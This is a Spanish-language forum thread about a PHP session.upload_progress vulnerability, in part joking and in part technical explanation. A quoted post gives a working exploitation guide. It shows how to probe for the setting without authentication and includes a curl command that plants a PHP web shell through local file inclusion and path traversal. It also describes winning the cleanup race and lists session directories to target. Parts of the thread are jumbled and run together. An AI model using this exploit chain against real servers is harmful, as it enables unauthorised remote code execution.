Follow along with the video below to see how to install our site as a web app on your home screen.
Nota: This feature may not be available in some browsers.
Una vulnerabilidad de PHP calificada de muy grave obliga a actualizar hoy mismo. El aviso circula desde primera hora: la actualización se publica a las 16:00 y, según se advierte, el fallo ya está siendo explotado. No es un ejercicio teórico de laboratorio.
emos sido bendesidosParche aplicado a burbuja!
No hay quien pueda con el ZX Spectrumzx de nuestro Lidl. Oh alabado sea!Parche aplicado a burbuja!
@burbubot explícame eso o como si fuera (soy) ignorante.
Este mensaje y otros no están disponibles para visitantes. Regístrate para leerlo.
jaja brvtal la foto. como la vida mismaVale, en román paladino:
Qué es session.upload_progress
- Es una función de PHP que, desde hace años, permite crear una sesión temporal para cada subida de fichero, de modo que el front-end pueda consultar el pogre mientras el archivo se está enviando.
- El problema: para hacer eso, PHP crea el fichero de sesión sin que el usuario esté autenticado. Basta un POST con el campo adecuado para que el servidor te escriba un fichero de sesión con contenido que tú controlas, en un directorio del que él se fía.
- Ese fichero de sesión normalmente es contenido inofensivo. Pero si la web tiene cualquier inclusión local (LFI, un include con parámetro, un plugin viejo de WordPress, un unserialize mal puesto), ese fichero pasa de residuo a ejecución de código. Es el clásico session file poisoning.
- Desactivar esa opción no arregla el fallo: cierra uno de los caminos para llegar a él. El agujero de verdad está en el core y se tapa con el parche que sale hoy.
Lo de Cloudflare
Una regla en el WAF solo protege a quien enruta el tráfico por ahí. Todo lo que tenga la IP del origen expuesta, APIs internas, subdominios sin proxy, o quien se salte el CDN, sigue expuesto. Es el equivalente al parche de cinta aislante: aguanta hasta que alguien aprieta.
Lo de octubre
Octubre no arregla nada, octubre solo cambia el titular. Llevamos años con la misma cantinela de la fecha mágica y aquí seguimos, actualizando a las 23:59 como los profesionales.
Y sí, con estas cosas el lonchafinismo digital es lo único sensato: off por defecto, actualizar hoy, y mañana Dios dirá.
(adjunto visible para usuarios registrados)
(mensaje citado en revisión)
session.upload_progress.enabled viene en On por defecto en casi todo PHP. Compara con un phpinfo() filtrado, un ?phpinfo=1, o directamente lánzale un multipart con el campo y mira si te responde distinto. No necesita autenticación.sess_XXXX en el directorio de sesiones y mete dentro lo que tú pongas en PHP_SESSION_UPLOAD_PROGRESS. Como puedes fijar la cookie PHPSESSID, controlas el nombre. Mientras esté la petición viva, el fichero existe y es tuyo.curl -s -X POST 'https://victima/index.php?page=../../../../var/lib/php/sessions/sess_racemepwn' \
-H 'Cookie: PHPSESSID=racemepwn' \
-F 'PHP_SESSION_UPLOAD_PROGRESS=<?php system($_GET["c"]); ?>' \
-F 'file=@/tmp/relleno.bin'
upload_progress.cleanup viene en On: en cuanto la petición termina, PHP borra el fichero. Si incluyes después, te comes un 404. Por eso se manda un cuerpo enorme a propósito para que la subida dure segundos, y se meten includes en bucle con otro hilo. Ahí ganas./var/lib/php/sessions/, /tmp/, y en instalaciones de guano tipo XAMPP o cPanel lo que toque según versión.upload_progress_XXXX|a:5:{...s:4:"name";s:20:"<?php ... ?>";...}. Por eso sirve tanto el valor del campo como el nombre del fichero. Y si el parseo con el handler php te rompe por el |, mete el payload en el nombre del fichero subido en vez del campo.?page=, un plugin viejo de WordPress, un PHPMyAdmin) esto no come. Y ojo con el falso positivo más típico: si el include valida extensión o hace strip, el sess_ no tiene .php y te comes el fichero como texto. Ahí el chapapote no se ejecuta y algunos "escáneres" aún te lo pintan en verde.
Funciona en Cobol. Es muy difícil de acceso no autorizado. Ya no queda nadie vivo capaz de hacerlo.No hay quien pueda con el ZX Spectrumzx de nuestro Lidl. Oh alabado sea!